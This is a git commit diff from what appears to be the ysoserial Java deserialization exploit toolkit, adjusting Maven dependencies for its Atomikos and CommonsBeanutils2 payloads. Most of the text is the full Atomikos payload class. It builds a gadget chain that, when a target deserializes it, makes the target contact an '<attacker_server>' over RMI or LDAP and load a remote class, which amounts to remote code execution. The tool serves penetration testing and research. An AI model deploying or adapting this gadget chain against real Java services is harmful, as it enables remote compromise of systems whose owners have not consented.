fix some tests

This commit is contained in:
Chris Frohoff
2022-04-29 21:05:18 -07:00
parent 2f52d9da6b
commit 73f83e47e5
3 changed files with 25 additions and 15 deletions
+11 -1
View File
@@ -332,9 +332,19 @@
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.atomikos</groupId> <groupId>com.atomikos</groupId>
<artifactId>transactions-osgi</artifactId> <artifactId>transactions-jta</artifactId>
<version>4.0.6</version> <version>4.0.6</version>
</dependency> </dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-api</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>atomikos-util</artifactId>
<version>4.0.6</version>
</dependency>
<dependency> <dependency>
<groupId>org.springframework</groupId> <groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId> <artifactId>spring-tx</artifactId>
+13 -13
View File
@@ -13,7 +13,7 @@ import ysoserial.payloads.util.Reflections;
/** /**
* *
* Gadget chain: * Gadget chain:
* *
* javax/management/BadAttributeValueExpException.readObject() * javax/management/BadAttributeValueExpException.readObject()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString() * com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup() * com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
@@ -29,48 +29,48 @@ import ysoserial.payloads.util.Reflections;
* *
* This gadget chain was also discovered by pwntester: * This gadget chain was also discovered by pwntester:
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
* *
*/ */
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } ) @Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
@Authors({ Authors.PWNTESTER, Authors.SCICCONE }) @Authors({ Authors.PWNTESTER, Authors.SCICCONE })
public class Atomikos implements ObjectPayload<Object> { public class Atomikos implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
// validate command // validate command
int sep = command.lastIndexOf('/'); int sep = command.lastIndexOf('/');
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
throw new IllegalArgumentException("Command format is: " + command throw new IllegalArgumentException("Command format is: " + command
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>"); + "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// create factory based on url // create factory based on url
String initialContextFactory; String initialContextFactory;
if (url.startsWith("ldap")) if (url.startsWith("ldap"))
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory"; initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
else else
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory"; initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
// create object // create object
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction(); RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
// set values using reflection // set values using reflection
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory); Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
Reflections.setFieldValue(rcut, "providerUrl", url); Reflections.setFieldValue(rcut, "providerUrl", url);
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className); Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
// create exception // create exception
BadAttributeValueExpException exception = new BadAttributeValueExpException(null); BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Reflections.setFieldValue(exception, "val", rcut); Reflections.setFieldValue(exception, "val", rcut);
return exception; return exception;
} }
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Atomikos.class, args); PayloadRunner.run(Atomikos.class, args);
} }
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
// Origin Detective is PHITHON From // Origin Detective is PHITHON From
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html // https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
@Authors({Authors.K4n5ha0}) @Authors({Authors.K4n5ha0})
public class CommonsBeanutils2 implements ObjectPayload<Object> { public class CommonsBeanutils2 implements ObjectPayload<Object> {